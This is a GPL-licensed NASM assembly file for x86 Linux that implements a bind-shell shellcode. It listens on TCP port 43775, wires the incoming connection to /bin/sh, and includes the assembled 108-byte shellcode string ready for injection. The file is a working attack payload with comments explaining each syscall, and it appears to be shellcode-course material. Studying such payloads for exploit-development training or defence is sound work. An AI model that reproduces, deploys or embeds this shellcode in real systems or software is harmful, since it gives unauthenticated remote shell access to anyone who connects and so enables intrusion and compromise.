113 lines
3.4 KiB
NASM
113 lines
3.4 KiB
NASM
; This program is free software: you can redistribute it and/or modify
|
|
; it under the terms of the GNU General Public License as published by
|
|
; the Free Software Foundation, either version 3 of the License, or
|
|
; (at your option) any later version.
|
|
;
|
|
; This program is distributed in the hope that it will be useful,
|
|
; but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
; GNU General Public License for more details.
|
|
;
|
|
; You should have received a copy of the GNU General Public License
|
|
; along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
|
|
; Filename: shell_bind_tcp_smaller.nasm
|
|
; Author: Andrey Arapov <andrey.arapov@gmail.com>
|
|
; 2013 March
|
|
;
|
|
; DESC:
|
|
; - Binds to a port 43775
|
|
; - Execs Shell on incoming connection
|
|
;
|
|
;
|
|
; Shellcode size: 108 bytes
|
|
; Shellcode "\x31\xc0\xb0\x66\x31\xdb\x43\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x50\x5f\x6a\x66\x58\x43\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xab\xff\xff\xff\xaa\xff"
|
|
;
|
|
; Port is the last two bytes of the shellcode. In hex \xaa\xff (0xaaff = 43775)
|
|
;
|
|
;
|
|
|
|
global _start
|
|
|
|
section .text
|
|
|
|
_start:
|
|
xor eax, eax
|
|
mov al, 102 ; socketcall
|
|
xor ebx, ebx
|
|
inc ebx ; 1 = SYS_SOCKET socket()
|
|
push BYTE 6 ; IPPROTO_TCP || int protocol);
|
|
push BYTE 1 ; SOCK_STREAM || int type,
|
|
push BYTE 2 ; AF_INET || socket(int domain,
|
|
mov ecx, esp ; ECX - PTR to arguments for socket()
|
|
int 0x80
|
|
mov esi, eax ; save socket fd in ESI for later
|
|
|
|
|
|
jmp short call_get_port
|
|
port_in_esp:
|
|
pop edi ; getting port address from ESP
|
|
|
|
push BYTE 102
|
|
pop eax ; socketcall
|
|
inc ebx ; 2 = SYS_BIND bind()
|
|
xor edx, edx
|
|
push edx ; 0 = ANY HOST (0.0.0.0)} || struct in_addr sin_addr (unsigned long s_addr) };
|
|
push WORD [edi] ; PORT specified in the bottom of the code / shellcode. Last two bytes in HEX.
|
|
push WORD bx ; 2 = AF_INET || struct sockaddr { short sin_family,
|
|
mov ecx, esp ; Save PTR to sockaddr struct in ECX
|
|
push BYTE 16 ; socklen_t addrlen);
|
|
push ecx ; const struct sockaddr *addr,
|
|
push esi ; bind(int sockfd,
|
|
mov ecx, esp ; ECX = PTR to arguments for bind()
|
|
int 0x80
|
|
|
|
|
|
mov BYTE al, 102 ; socketcall
|
|
inc ebx
|
|
inc ebx ; 4 = SYS_LISTEN listen()
|
|
push BYTE 1 ; int backlog);
|
|
push esi ; listen(int sockfd,
|
|
mov ecx, esp ; ECX = PTR to arguments for listen()
|
|
int 0x80
|
|
|
|
|
|
mov BYTE al, 102 ; socketcall
|
|
inc ebx ; 5 = SYS_ACCEPT = accept()
|
|
push edx ; socklen_t *addrlen = 0);
|
|
push edx ; struct sockaddr *addr = NULL,
|
|
push esi ; listen(int sockfd,
|
|
mov ecx, esp ; ECX = PTR to arguments for accept()
|
|
int 0x80
|
|
|
|
|
|
; dup2 to duplicate sockfd, that will attach the client to a shell
|
|
; that we'll spawn below in execve syscall
|
|
xchg eax, ebx ; after EBX = sockfd, EAX = 5
|
|
push BYTE 2
|
|
pop ecx
|
|
dup2_loop:
|
|
mov BYTE al, 63
|
|
int 0x80
|
|
dec ecx
|
|
jns dup2_loop
|
|
|
|
|
|
; spawning as shell
|
|
xor eax, eax
|
|
push eax
|
|
push 0x68732f6e ; '//bin/sh' in reverse
|
|
push 0x69622f2f ; beginning of '//bin/sh' string is here
|
|
mov ebx, esp
|
|
push eax
|
|
mov edx, esp ; ESP is now pointing to EDX
|
|
push ebx
|
|
mov ecx, esp
|
|
mov al, 11 ; execve
|
|
int 0x80
|
|
|
|
call_get_port:
|
|
call port_in_esp
|
|
db 0xaa, 0xff ; BYTE (43775 in straight hex)
|
|
|